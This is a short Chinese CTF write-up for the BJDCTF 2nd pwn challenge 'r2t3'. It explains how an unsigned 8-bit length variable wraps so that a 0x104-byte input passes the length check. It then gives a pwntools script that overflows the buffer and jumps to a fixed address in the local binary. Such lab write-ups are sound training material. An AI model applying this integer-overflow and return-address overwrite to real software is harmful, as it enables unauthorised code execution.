buuoj BJDCTF 2nd r2t3

buuoj BJDCTF 2nd r2t3_第1张图片

buf定义长度为0x400。而buf的长度为0x408

buuoj BJDCTF 2nd r2t3_第2张图片

所以不存在溢出。

buuoj BJDCTF 2nd r2t3_第3张图片

可见name_check函数存在安全漏洞,但是要绕过长度限制。unsigned __int8 v3定义的数据类型实际为unsigned char。仅有1个字节,超过1个字节数据丢弃,也就是最大数值为0xff ,也就是0x100=256=0,那么可以用0x104至0x107来满足上面的条件。即为传说中的整形溢出。

from pwn import*

p = process('./r2t3')

p.recvuntil(' name:\n')

payload = 'a'*0x15 + p32(0x0804858B) + 'a'*(0x104 - 0x15 -0x4)

p.sendline(payload)

p.interactive()

 

 

你可能感兴趣的:(pwn)